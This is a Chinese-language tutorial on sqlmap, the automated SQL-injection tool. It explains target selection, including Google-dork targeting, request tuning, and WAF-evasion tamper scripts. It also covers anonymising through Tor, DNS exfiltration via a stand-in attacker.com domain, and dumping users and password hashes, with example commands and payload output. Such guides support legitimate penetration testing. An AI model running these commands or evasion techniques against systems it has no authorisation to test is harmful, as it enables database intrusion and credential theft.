一、Sqlmap是什么
Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:
- 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
- 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
- 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
- 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
- 支持自动识别密码哈希格式并通过字典破解密码哈希。
- 支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
- 支持在数据库管理系统中搜索指定的数据库名、表名或列名
- 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
- 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。
二、安装Sqlmap
Sqlmap的开源项目,托管在github,最简单的安装方式便是使用git,执行如下命令:
git clone https://github.com/sqlmapproject/sqlmap.git
片刻后命令执行完毕,可以看到当前目录中多了一个名为“sqlmap”的目录,该目录中保存着Sqlmap的Python源码、配置文件和文档。由于Python是解释执行的语言,不用编译,所以至此最新版的Sqlmap已经安装完成。
cd到“sqlmap”目录中,用命令“python sqlmap”启动Sqlmap。
当想要更新Sqlmap时,进入到“sqlmap”目录中执行命令“git pull”即可。
三、输出级别(Output verbosity)
参数:-v
Sqlmap的输出信息按从简到繁共分为7个级别(和葫芦娃一样多),依次为0、1、2、3、4、5和6。使用参数“-v <级别>”来指定某个等级,如使用参数“-v 6”来指定输出级别为6。默认输出级别为1。各个输出级别的描述如下:
- 0:只显示Python的tracebacks信息、错误信息[ERROR]和关键信息[CRITICAL];
- 1:同时显示普通信息[INFO]和警告信息[WARNING];
- 2:同时显示调试信息[DEBUG];
- 3:同时显示注入使用的攻击荷载;
- 4:同时显示HTTP请求;
- 5:同时显示HTTP响应头;
- 6:同时显示HTTP响应体。
各个级别输出的信息详细到什么程度,还需要自己尝试下,亲眼见到,才会有明确的认识。
四、指定目标
Sqlmap运行时必须指定至少一个目标,支持一次指定多个目标。有以下几种指定目标的方式:
1.直接连接数据库
参数:-d
使用参数“-d”直接连接数据库,该参数后跟一个表示数据库的字符串,该字符串有以下两种格式:
(1).当数据库管理系统是MySQL、Oracle、Microsoft SQL Server或PostgreSQL等时格式为:
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
(2).当数据库管理系统是SQLite、Microsoft Access或Firebird等时格式为:
DBMS://DATABASE_FILEPATH
我用如下命令连接装在本机上的Mysql:
python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/DISSchool"
却出现了错误,错误为:
1 | [CRITICAL] sqlmap requires 'python-pymysql' third-party library in order to directly connect to the DBMS 'MySQL'. You can download it from 'https://github.com/petehunt/PyMySQL/'. Alternative is to use a package 'python-sqlalchemy' with support for dialect 'mysql' installed |
意思是我没有安装Python连接Mysql用的第三方库python-pymysql。虽然我安装了python-mysqldb可以使Python连接Mysql,但显然Sqlmap使用的是python-pymysql而不是python-mysqldb。使用如下命令安装python-pymysql:
1 | git clone https://github.com/petehunt/PyMySQL/ |
安装好python-pymysql后再执行命令:
python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/DISSchool"
这次没有报错,成功的连接到了数据库。只是除了检测数据库确实是Mysql版本号大于等于5.0.0之外便什么都没有做。让Sqlmap做点什么需要用其他参数指定,这些参数我们稍晚些再学习。
2.指定目标URL
参数:-u 或 –url
使用参数“-u”或“–url”指定一个URL作为目标,该参数后跟一个表示URL的字符串,可以是http协议也可以是https协议,还可以指定端口,如:
python sqlmap.py -u "http://192.168.56.102:8080/user.php?id=0"
3.从Burp或WebScarab的代理日志中解析目标
参数:-l
使用参数“-l”指定一个Burp或WebScarab的代理日志文件,Sqlmap将从日志文件中解析出可能的攻击目标,并逐个尝试进行注入。该参数后跟一个表示日志文件的路径。
WebScarab我没有用过,Burp倒是常常会用。Burp默认不记录日志,想要记录日志需要手动开启,设置方法如下图所示:
只用勾选代理中的请求数据就足够了,日志文件路径可随意设置,这里我设置日志文件名为proxy.log,放在用户主目录中。
设置浏览器的代理为Burp,随便浏览几个网页后发现proxy.log竟然已经有70多K大,查看其内容,部分输出如下:
1 | werner@Yasser:~$ more proxy.log |
可以看到该日志文件不仅记录了GET参数,还记录了cookie和POST参数。现在使用如下命令让Sqlmap解析该日志文件,自动寻找目标,检测注入漏洞:
python sqlmap.py -l ../proxy.log
注意日志文件的路径要写正确。执行该命令时,每找到一个可能的攻击目标,Sqlmap都会询问是否要检测该目标。,默认回答为“Y”,想要测试该目标,直接按回车键就行。
当日志较大时会有很多可能目标,虽然有询问机制但依旧麻烦,因为不能一路按回车而要进行判断。若是可以对日志进行过滤就好了!确实是可以的,参数为“–scope”,详情见“五.18”。
4.从站点地图文件中解析目标
参数:-x
为便于搜索引擎收录,许多网站专门为搜索引擎生成了xml格式的站点地图,如百度Sitemap支持xml格式。Sqlmap可以直接解析xml格式的站点地图,从中提取攻击目标,对一个网站全方位无死角地进行注入检测,此时使用的参数是“-x”,如:
python sqlmap.py -x http://www.6eat.com/sitemap.xml
但执行该命令的结果却是:
[WARNING] no usable links found (with GET parameters)
没有找到有GET参数的可用链接。就我有限的经验而言,站点地图中的URL很少包含GET参数,POST参数就更不用说了。所以Sqlmap的这一功能似乎有些鸡肋。
5.从文本文件中解析目标
参数:-m
参数“-u”一次只能指定一个URL,若有多个URL需要测试就显得很不方便,我们可用将多个URL以一行一个的格式保存在文本文件中,然后使用参数“-m”,后跟该文本文件路径,让Sqlmap依次读取文件中的URL作为攻击目标。
如我们有文件url.txt,内容为:
1 | www.target1.com/vuln1.php?q=foobar |
然后可用使用如下命令让Sqlmap测试这些URL是否存在注入漏洞:
python sqlmap.py -m url.txt
同样,执行该命令时,Sqlmap会很贴心地一个个询问:“do you want to test this URL?”
6.从文件载入HTTP请求
参数:-r
可以将一个HTTP请求保存在文件中,然后使用参数“-r”加载该文件,Sqlmap会解析该文件,从该文件分析目标并进行测试。
设有如下所示的HTTP请求保存在文件get.txt中:
1 | GET /user.php?id=1 HTTP/1.1 |
则使用如下命令让Sqlmap解析该文件,以该文件中HTTP请求目标为攻击目标进行测试:
python sqlmap.py -r get.txt
7.将Google搜索结果作为攻击目标
参数:-g
Sqlmap能自动获取Google搜索的前一百个结果,对其中有GET参数的URL进行注入测试。当然,所处的网络环境要能访问Google才行。下面是Sqlmap手册中“-g”参数的例子:
python sqlmap.py -g "inurl:\".php?id=1\""
8.从配置文件中载入攻击目标
参数:-c
使用参数“-c”指定一个配置文件(如:sqlmap.conf),Sqlmap会解析该配置文件,按照该配置文件的配置执行动作。配置文件中可以指定攻击目标,实际上除了攻击目标外,配置文件还可以指定各种参数的值。
Sqlmap的按照目录中有一个名为sqlmap.conf的文件,该文件是配置文件的模板,看看该文件内容,就能明白配置文件是什么意思了。
五、请求
HTTP是一个复杂的协议。HTTP请求有很多种方法(method),可以在不同位置(GET、POST、cookie和User-Agent等)携带不同参数。往往只有在特定位置携带了特定参数以特定方法发起的请求才是合法有效的请求。Sqlmap运行时除了需要指定目标,有时还需要指定HTTP请求的一些细节。下面这些参数都用于指定HTTP请求细节。
1.HTTP方法
参数:–method
一般来说,Sqlmap能自动判断出是使用GET方法还是POST方法,但在某些情况下需要的可能是PUT等很少见的方法,此时就需要用参数“–method”来指定方法。如:“–method=PUT”。
2.POST数据
参数:–data
该参数指定的数据会被作为POST数据提交,Sqlmap也会检测该参数指定数据是否存在注入漏洞。如:
python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0&name=werner"
3.指定分隔符
参数:–param-del
上一个例子中“–data”的数据“id=0&name=werner”其实由两个部分组成:“id=0”和“name=werner”,默认地以“&”作为分隔符。我们可以使用“–param-del”来指定分隔符,如:
python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0;name=werner" --param-del=";"
4.cookie
参数:–cookie、–cookie-del、–drop-set-cookie和–load-cookies
有两种情况会用到这些参数:
要测试的页面只有在登录状态下才能访问,登录状态用cookie识别
想要检测是否存在cookie注入
当“–level”设置为2或更高时,Sqlmap会检测cookie是否存在注入漏洞,关于“–level”的更多信息见下文。
(1).“–cookie”和“–cookie-del”
在浏览器中登录目标网站后复制出维持登录状态的cookie,用参数“–cookie”来指定这些cookie,如:
python sqlmap.py -u "http://192.168.56.102:8080/user.php" --cookie "JSESSIONID=E5D6C8C81;NAME=werner;"
与POST参数不同,cookie默认的分隔符为“;”,想要指定cookie中的分隔符,使用参数“–cookie-del”。
(2).“–drop-set-cookie”
若HTTP响应头中有“Set-Cookie”,Sqlmap会自动设置“Set-Cookie”设置的cookie,并对这些cookie进行检测。若不想让Sqlmap这么做,添加参数“–drop-set-cookie”即可,这样,Sqlmap会忽略“Set-Cookie”。
(3).“–load-cookies”
该参数用于从文件中载入Netscape或wget格式的cookie。
wget可以保存和载入cookie,示例如下:
1 | # Log in to the server. This can be done only once. |
5.User-Agent
参数:–user-agent和–random-agent
默认情况下Sqlmap发送的HTTP请求中的User-Agent值为:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
使用参数“–user-agent”可以指定一个User-Agent值。但正常的User-Agent值长什么样我们可能并不记得,所以有了参数“–random-agent”,使用该参数,Sqlmap会从文件./txt/user-agents.txt中随机地取一个User-Agent。注意,在一次会话中只有使用同一个User-Agent,并不是每发一个HTTP请求包,都随机一个User-Agent。
用如下命令统计user-agents.txt行数:
cat sqlmap/txt/user-agents.txt | wc -l
结果为4211,当然其中还包含空行、注释等,但总的来说该文件中存储的User-Agent也有4千多个。
当“–level”设置为3或更高时,Sqlmap会检测User-Agent是否存在注入漏洞,关于“–level”的更多信息见下文。
6.Host
参数:–host
使用该参数可以手动指定HTTP头中的Host值。
当“–level”设置为5或更高时,Sqlmap会检测Host是否存在注入漏洞,关于“–level”的更多信息见下文。
7.Referer
参数:–referer
使用该参数可以指定HTTP头中的Referer值。Sqlmap发送的HTTP请求头部默认无Referer字段。
当“–level”设置为3或更高时,Sqlmap会检测Referer是否存在注入漏洞,关于“–level”的更多信息见下文。–
8.额外的HTTP头
参数:-H、–headers
使用该参数可以在Sqlmap发送的HTTP请求报文头部添加字段,若添加多个字段,用“\n”分隔。如命令:
python sqlmap.py -u "http://192.168.56.101:8080/" -v 5 --headers "X-A:A\nX-B: B"
发送的HTTP请求包为:
1 | GET / HTTP/1.1 |
加参数“-v 5”是为了让Sqlamp输出发送的HTTP请求包,便于我们观察。
9.身份认证
参数:–auth-type和–auth-cred
这些参数用于进行身份认证。“–auth-type”用于指定认证方式,支持以下三种身份认证方式:
- Basic
- Digest
- NTLM
“–auth-cred”用于给出身份认证的凭证,格式是“username:password”。如:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
10.基于证书的身份认证
参数:–auth-file
若Web服务器要求客户端提供证书则可以使用此参数指定一个PEM格式的证书文件。我们知道SSL协议的客户端认证是可选的,实践中一般都只用服务器端提供自己的证书供客户端验证,很少要求客户端提供自己的证书。
11.忽略错误code
参数:–ignore-code
如使用该参数忽略401错误(未认证)。
12.HTTP(S)代理
参数:–proxy、–proxy-cred、–proxy-file和–ignore-proxy
使用参数“–proxy”来设置一个HTTP(S)代理,格式是“http(s)://url:port”。若代理需要认证,使用参数“–proxy-cred”来提供认证凭证,格式是“username:password”。
使用参数“–proxy-file”指定一个存储着代理列表的文件,Sqlmap会依次使用文件中的代理,当某个代理有任何连接问题时就会被弃用而换下一个代理。
使用参数“–ignore-proxy”忽略本地代理设置。
13.Tor匿名网络
参数:–tor、–tor-type、–tor-port和–check-tor
不管出于什么原因,如果想要保持匿名状态与其使用单个的HTTP(S)代理,不如安装类似Privoxy这样的软件按照Tor的安装指导配置一个Tor客户端。设置好后使用参数“–tor”让Sqlmap自动设置使用Tor代理。
如果想要手动指定Tor的类型和端口可以使用参数“–tor-type”和“–tor-port”,如:
--tor-type=SOCKS5 --tor-port 9050
如果要求高度的匿名性可以使用参数“–check-tor”,加上该参数后Sqlmap会确保所有流量都走Tor代理,若Tor代理失效,Sqlmap会发出警告并退出。检测方法是访问Are you using Tor?。
14.HTTP请求之间添加延迟
参数:–delay
过于频繁地发送请求可能会被网站察觉或有其他不良后果。使用参数“–delay”来指定HTTP请求之间的延迟,单位为秒,类型是浮点数,如“–delay 1.5”表示延迟1.5秒。默认是没有延迟的。
15.超时
参数:–timeout
超时时间默认为30秒,可以用参数“–timeout”指定超时时间,如“–timeout 44.5”表示设置超时时间为44.5秒。
16.超时后最大重试次数
参数:–retries
超时后Sqlmap会进行重试,最大重试次数默认为3,可以用参数“–retries”指定最大重试次数。
17.随机化参数值
参数:–randomize
使用该参数,Sqlmap会随机生成每次HTTP请求中参数的值,值的类型和长度依照于原始值。
18.用正则表达式过滤代理日志
参数:–scope
指定一个Python正则表达式对代理日志进行过滤,只测试符合正则表达式的目标,如:
python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
19.避免错误请求过多而被屏蔽
参数:–safe-url、–safe-post、–safe-req和–safe-freq
有时服务器检测到某个客户端错误请求过多会对其进行屏蔽,而Sqlmap的测试往往会产生大量错误请求,为避免被屏蔽,可以时不时的产生几个正常请求以迷惑服务器。有以下四个参数与这一机制有关:
–safe-url: 隔一会就访问一下的安全URL
–safe-post: 访问安全URL时携带的POST数据
–safe-req: 从文件中载入安全HTTP请求
–safe-freq: 每次测试请求之后都会访问一下的安全URL
这里所谓的安全URL是指访问会返回200、没有任何报错的URL。相应地,Sqlmap也不会对安全URL进行任何注入测试。
20.关闭URL编码
参数:–skip-urlencode
Sqlmap默认会对URL进行URL编码,可以使用该参数关闭URL编码。
21.绕过CSRF保护
参数:–csrf-token和–csrf-url
现在有很多网站通过在表单中添加值为随机生成的token的隐藏字段来防止CSRF攻击,Sqlmap会自动识别出这种保护方式并绕过。但自动识别有可能失效,此时就要用到这两个参数。
“–csrf-token”用于指定包含token的隐藏字段名,若这个字段名不是常见的防止CSRF攻击的字段名Sqlmap可能不能自动识别出,需要手动指定。如Django中该字段名为“csrfmiddlewaretoken”,明显与CSRF攻击有关。
“–csrf-url”用于从任意的URL中回收token值。若最初有漏洞的目标URL中没有包含token值而又要求在其他地址提取token值时该参数就很有用。
22.强制使用SSL
参数:–force-ssl
23.在每次请求前执行特定Python代码
参数:–eval
直接看例子:
python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
每次返送请求前,Sqlmap都会依据id值重新计算hash值并更新GET请求中的hash值。
六、优化
这些参数可以优化Sqlmap的性能。
1.一键优化
参数:-o
添加此参数相当于同时添加下列三个优化参数:
–keep-alive –null-connection –threads=3 (如果没有设置一个更好的值)
这些参数具体含义见后文。
2.HTTP长连接
参数:–keep-alive
该参数让Sqlmap使用HTTP长连接。该参数与“–proxy”矛盾。
3.HTTP空连接
参数:–null-connection
有一种特殊的HTTP请求类型可以直接获得HTTP响应的大小而不用获得HTTP响应体。显然这在布尔型盲注中可以节约很大的带宽。当然这一技术是需要服务器端支持的。该参数与“–text-only”矛盾。
4.HTTP并发
参数:–threads
使用该参数指定Sqlmap可以达到的最大并发数。从性能和网站承受能力两方面考虑最大并发数不要超过10。
七、注入
这些参数被用于指定要测试的参数、定制攻击荷载和选择篡改脚本。
1.要测试的注入点
参数:-p和–skip
默认情况下Sqlmap会测试所有GET参数和POST参数,当level大于等于2时会测试cookie参数,当level大于等于3时会测试User-Agent和Referer。实际上还可以手动指定一个以逗号分隔的、要测试的参数列表,该列表中的参数不受level限制。这就是“-p”的作用。
举个例子,若想只测试GET参数“id”和User-Agent,则可以这么写:
-p "id,user-agent"
如果不想测试某一参数则可以使用“–skip”。如设置了level为5但不想测试User-Agent和Referer,则可以这么写:
--level=5 --skip="user-agent,referer"
有时会遇到伪静态网页。动态网页会明目张胆地列出参数,如:
/user.php?id=1
显然参数是id,值为1。但若是伪静态网页则可能这样写:
/user/1/
将参数隐藏在URL中。通常情况下Sqlmap不会对这样的伪静态网页的参数做测试,因为Sqlmap无法判断哪个是参数。若想要对这样的伪静态进行测试,只需要加上“*”,告诉Sqlmap哪个是伪静态参数就行,剩下事的和GET参数没有什么区别。如:
python sqlmap.py -u "http(s)://target.cc/user/1*/"
2.指定数据库管理系统
参数:–dbms
dbms是“Database Management System”的缩写。默认情况下Sqlmap会自动检测网站使用的数据库管理系统,Sqlmap支持以下这些数据库管理系统:
- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- Firebird
- SQLite
- Sybase
- SAP MaxDB
- DB2
如果Sqlmap自动检测失败或是不想让Sqlmap进行数据库指纹检测,可以使用参数“–dbms”手动指定数据库管理系统,如:“–dbms postgresql”。
对于Mysql和Microsoft SQL Server和要这样指定:
1 | --dbms MySQL <version> |
对于MySQL来说,是类似这样的:5.0。对于Microsoft SQL Server来说,是类似这样的:2005。
如果在添加“–dbms”参数的同时还添加了“–fingerprint”,Sqlmap只会在指定的数据库管理系统内进行指纹识别。
只有在很确定时使用“–dbms”,否则还是让Sqlmap自动检测更好些。
3.指定运行数据库管理系统的操作系统
参数:–os
默认情况下Sqlmap会自动检测运行数据库管理系统的操作系统,目前完全支持的操作系统有:
- Linux
- Windows
如果很确定可以使用参数“–os”指定运行数据库管理系统的操作系统。当然在只用很确定时才应该使用此参数,否则还是让Sqlmap自动检测更好些。
4.生成无效参数值时强制使用大数
参数:–invalid-bignum
有时在注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-bignum”,Sqlmap就会取大数(如:id=99999999)作为无效参数。
5.生成无效参数值时强制使用逻辑操作符
参数:–invalid-logical
有时在注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-logical”,Sqlmap就会使用逻辑操作符(如:id=13 AND 18=19)作为无效参数。
6.生成无效参数值时强制使用字符串
参数:–invalid-string
有时在注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-logical”,Sqlmap就会使用字符串(如:id=akewmc)作为无效参数。
7.关闭payload转换
参数:–no-cast
在检索结果时Sqlmap会将所有输入转换为字符串类型,若遇到空值(NULL)则将其替换为空白字符。
这样做是为了防止如连接空值和字符串之类的任何错误发生并可以简化数据检索过程。
但是有报告显示在老版本的Mysql中这样做会导致数据检索出现问题,因此添加了“–no-cast”来告诉Sqlmap不要这样做。
8.关闭字符串编码
参数:–no-escape
有时Sqlmap会使用用单引号括起来的字符串值作为payload,如“SELECT ‘foobar’”,默认地这些值会被编码,如上例将被编码为:
“SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))”。这样做既可以混淆视听让人一时难以洞察payload的内容又可以在后台服务器使用类似magic_quote或mysql_real_escape_string这样的转义函数的情况下字符串不受影响。当然在某些情况下需要关闭字符串编码,如为了缩减payload长度,用户可以使用“–no-escape”来关闭字符串编码。
9.定制payload
参数:–prefix和–suffix
有时只有在payload后添加用户指定的后缀才能注入成功。另一种场景是用户已经知道查询语句怎么写的,此时可以直接指定payload的前缀和后缀来完成检测和注入。
一个有漏洞的源码示例如下:
query = "SELECT * FROM users WHERE id=('" . $\_GET['id'] . "') LIMIT 0, 1";
对这样的例子可以让Sqlmap自动检测边界范围也可以手动指出边界范围:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
最终SQL语句会变成:
SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1
这个句子语法是正确的,payload也能执行。
在简单的测试环境下Sqlmap不需要被提供定制的边界范围就能够自动检测并完成注入,但在真实世界中某些应用可能会很复杂如嵌套JOIN查询,此时就需要为Sqlmap指明边界范围。
10.修改注入数据
参数:–tamper
除了用CHAR()编码字符串外Sqlmap没有对payload进行任何混淆。
该参数用于对payload进行混淆以绕过IPS或WAF。
该参数后跟一个tamper脚本的名字。
若该tamper脚本位于sqlmap的安装目录的tamper/目录中,就可以省略路径和后缀名,只写文件名。
多个tamper脚本之间用空格隔开。
在tamper/目录中有许多可用的tamper脚本。tamper脚本的作用是对payload进行混淆。
我们还可以自己写tamper脚本,这属于Sqlmap的高级用法,一个有效的tamper脚本如下所示:
1 | # 必须要导入的库 |
下面是一个示例,该示例的目标是Mysql,假定大于号、空格和开头的SELECT是被禁止的:
1 | python sqlmap.py -u "http://192.168.56.101:8080/ScorePrj/?id=1" \ |
该示例部分输出如下:
1 | [12:55:52] [DEBUG] cleaning up configuration parameters |
而若不加tamper脚本,上例的部分输出为:
1 | [...] |
八、检测
1.检测级别
参数:–level
此参数用于指定检测级别,有1~5共5级。默认为1,表示做最少的检测,相应的,5级表示做最多的检测。
Sqlmap使用的payload保存在目录xml/payloads/中,是xml格式的,可以自己定制。节选一个payload如下所示:
1 | <test> |
在上例中可以看到有level标签,其值为2,该payload在检测级别大于等于2时被使用。
risk标签的含义见后文。
检测级别不仅会影响payload的使用,还会影响注入点的检测,GET和POST参数是一直会被检测的,
检测级别大于等于2时会检测cookie是否有注入,检测级别大于等于3时会检测User-Agent和Referer是否有注入。
若不是很清楚注入点在哪里可以设置一个比较高的检测级别。
强烈建议在向Sqlmap官方报告一个明确存在的注入漏洞检测不出来前先把检测级别调高试试。
2.风险等级
参数:–risk
此参数用于指定风险等级,有1~4共4级。默认风险等级为1,此等级在大多数情况下对测试目标无害。
风险等级2添加了基于时间的注入测试,等级3添加了OR测试。
若注入点是在UPDATE语句中,使用OR测试可能会修改整个表的数据,这显然不是攻击者想要看到的。
因此用户需要能控制风险等级避开有潜在风险的payload。
3.页面对比
参数:–string、–not-string、–regexp
默认情况下在布尔型注入中Sqlmap通过比较返回页面内容来判断True或False。
但有时页面每次刷新都会不同,如页面中有动态广告。Sqlmap会尽力判断出页面中动态的部分来,但并不总能成功。
用户可以用参数“–string”指出代表True的页面会包含而代表False的页面不会包含的字符串以供Sqlmap判断True或False,
若这样的字符串是变动的还可以用参数“–regexp”指定一个正则表达式去匹配这样的字符串。
或者用参数“–not-string”指出代表False的页面会包含而代表True的页面不会包含的字符串。
参数:–code
或者更简单地,若是用户知道代表True的页面HTTP状态码为200而代表False的页面HTTP状态码不为200比如是401,
可以用“–code”参数告诉告诉Sqlmap这一信息,如“–code=200”。
参数:–titles
若是用户知道代表True的页面title和代表False的页面title不同,
如代表True的页面title为“Welcome”,代表False的页面title为“Forbidden”,
就可以使用参数“–titles”让Sqlmap依据title来判断True或False。
参数:–text-only
若是HTTP响应体中有许多诸如JavaScript之类的活动内容,可以使用参数“–text-only”让Sqlmap只专注于纯文本内容。
九、注入技术
这些参数用于对特定的SQL注入技术进行调整。
1.检测时所用技术
参数:–technique
此参数用于指定检测注入时所用技术。默认情况下Sqlmap会使用自己支持的全部技术进行检测。
此参数后跟表示检测技术的大写字母,其值为B、E、U、S、T或Q,含义如下:
- B:Boolean-based blind(布尔型注入),即可以根据返回页面判断条件真假的注入。
- E:Error-based(基于报错注入),即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- U:Union query-based(联合查询注入)可以使用union的情况下的注入。
- S:Stacked queries(堆查询注入)可以同时执行多条语句的执行时的注入。
- T:Time-based blind(基于时间延迟注入)即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
- Q:Inline queries(嵌套查询注入)。
可以用“–technique ES”来指定使用两种检测技术。“–technique BEUSTQ”与默认情况等效。
想要访问文件系统或是Windows的注册表就一定要添加“S”进行多语句查询注入测试。
2.基于时间延迟注入中延时设置
参数:–time-sec
用此参数设置基于时间延迟注入中延时时长,默认为5秒。
3.联合查询注入中列数设置
参数:–union-cols
在进行联合查询注入时,Sqlmap会自动检测列数,范围是1到10。当level值较高时列数检测范围的上限会扩大到50。
可以用此参数指定列数检测范围,如“–union-cols 12-16”就会让Sqlmap的列数检测范围变成12到16。
4.联合查询注入中字符设置
参数:–union-char
默认情况下Sqlmap进行联合查询注入时使用空字符(NULL)。但当level值较高时Sqlmap会生成随机数用于联合查询注入。
因为有时使用空字符注入会失败而使用随机数会成功。
使用此参数可以指定联合查询注入中使用的字符,如:“–union-char 123”。
“联合查询注入中使用的字符”究竟是什么意思呢?请看下面两个例子:
第一个例子,不使用“–union-char”,默认情况下联合查询注入中使用的字符为空字符(NULL):
python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3
部分输出为:
1 | [10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,CONCAT(0x71707a6271,0x66546c7770497458576f6455476761654654745744684c5062585971794c556d55454a6c49525675,0x7162767671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- FAcV |
第一个例子,使用“–union-char 123”,指定联合查询注入中使用的字符为“123”:
python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3 --union-char 123
部分输出为:
1 | [10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x776c71686e54726659424b49616d68756e64734d45774c4c7163494345794255784557597a484244,0x7178627071)-- aUXO |
仔细观察上示两例的输出就能明白“联合查询注入中使用的字符”就是“UNION ALL SELECT XXX, XXX”中的“XXX”。
5.联合查询注入中表名设置
参数:–union-from
有些情况下在联合查询中必须指定一个有效和可访问的表名,否则联合查询会执行失败,如在微软的Access中。
(也就是说,某些DBMS不支持“SELECT 1,2;”这样的语句,SELECT必须有FROM。)
用此参数指定这个表名,如:“–union-from=users”。
6.DNS泄露攻击
参数:–dns-domain
SQL注入中的DNS泄露攻击详情见论文《Data Retrieval over DNS in SQL Injection Attacks》。
假设攻击者控制着某域名(例如:attacker.com)的域名解析服务器,即查询该域名的子域名对应的IP地址都会到这台域名解析服务器来查询。
这时攻击者就可以使用“–dns-domain attacker.com”来进行DNS泄露攻击。
实际上若是攻击者没有控制任何一台域名解析服务器,那么她可以注册一个新域名,再自己搭建一台域名解析服务器用于接受数据。
7.二阶注入攻击
参数:–second-order
有时注入结果显示在别的页面,此时需要用此参数指明显示注入结果的页面,该参数后跟一个URL。
十、指纹
默认地Sqlmap会自动对注入目标进行数据库管理系统指纹识别。
参数:-f或–fingerprint
若想执行更广泛的数据库管理系统指纹识别可以添加此参数。
参数:-b或–banner
若想得到更精确的指纹识别结果可以添加此参数,详情见后文。
十一、暴力破解
1.暴力破解表名
参数:–common-tables
有些情况下用“–tables”不能列出数据库中表名来,如:
- 版本小于5.0的MySQL没有information_schema表
- 微软Access的MSysObjects表默认不可读
- 数据库用户权限过低无法读取表名
当无法读出表名时可以使用参数“–common-tables”暴力破解表名。
该参数使用的字典是txt/common-tables.txt,其中存储了常见表名,可以手动编辑该文件。
2.暴力破解列名
参数:–common-columns
有些情况下用“–columns”不能列出数据表中列名来,如:
- 版本小于5.0的MySQL没有information_schema表
- 微软Access的MSysObjects表默认不可读
- 数据库用户权限过低无法读取列名
当无法读出列名时可以使用参数“–common-columns”暴力破解列名。
该参数使用的字典是txt/common-columns.txt,其中存储了常见列名,可以手动编辑该文件。
十二、列举数据
这些参数用于列举出数据库管理系统信息、数据结构和数据内容。
1.一键列举全部数据
参数:-a或–all
使用这一个参数就能列举所有可访问的数据。但不推荐使用,因为这会发送大量请求,把有用和无用的信息都列举出来。
2.列举数据库管理系统信息
参数:-b或–banner
大多数的现代数据库管理系统都有一个函数或是环境变量能够返回数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息。
通常这个函数是version()、环境变量是@@version,当然要看目标数据库管理系统了。使用参数“-b”或“–banner”来列举数据库管理系统的这一信息。
下例中的数据库是Oracle:
python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner
部分输出为:
1 | [09:54:30] [INFO] fetching banner |
下例中的数据库是Mysql:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --banner
部分输出为:
1 | [09:56:32] [INFO] fetching banner |
3.列举当前用户
参数:–current-user
使用这一参数有可能将执行SQL语句的用户列举出来。
4.列举当前数据库
参数:–current-db
使用这一参数有可能将WEB应用连接的数据库名列举出来。
5.列举服务器主机名
参数:–hostname
使用这一参数有可能将数据库管理系统所在计算机的主机名列举出来,如:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --hostname
部分输出如下:
1 | [xx:xx:04] [INFO] fetching server hostname |
6.检测当前用户是否是管理员
参数:–is-dba
使用这一参数有可能能够检测当前用户是否是管理员,若是管理员则返回True,否则返回False。如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --is-dba
部分输出为:
1 | [10:05:16] [INFO] testing if current user is DBA |
7.列举数据库管理系统中的用户
参数:–users
当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中的用户。
8.列举并破解数据库管理系统用户密码Hash值
参数:–passwords
当前用户有读取包含了数据库管理系统中用户密码Hash值的系统表的权限时使用这一参数可以列举数据库管理系统中用户密码Hash值。
Sqlmap会先列举用户,再列举用户密码Hash值。
下面是一个以PostgreSQL为目标的例子:
python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
部分输出如下所示:
1 | back-end DBMS: PostgreSQL |
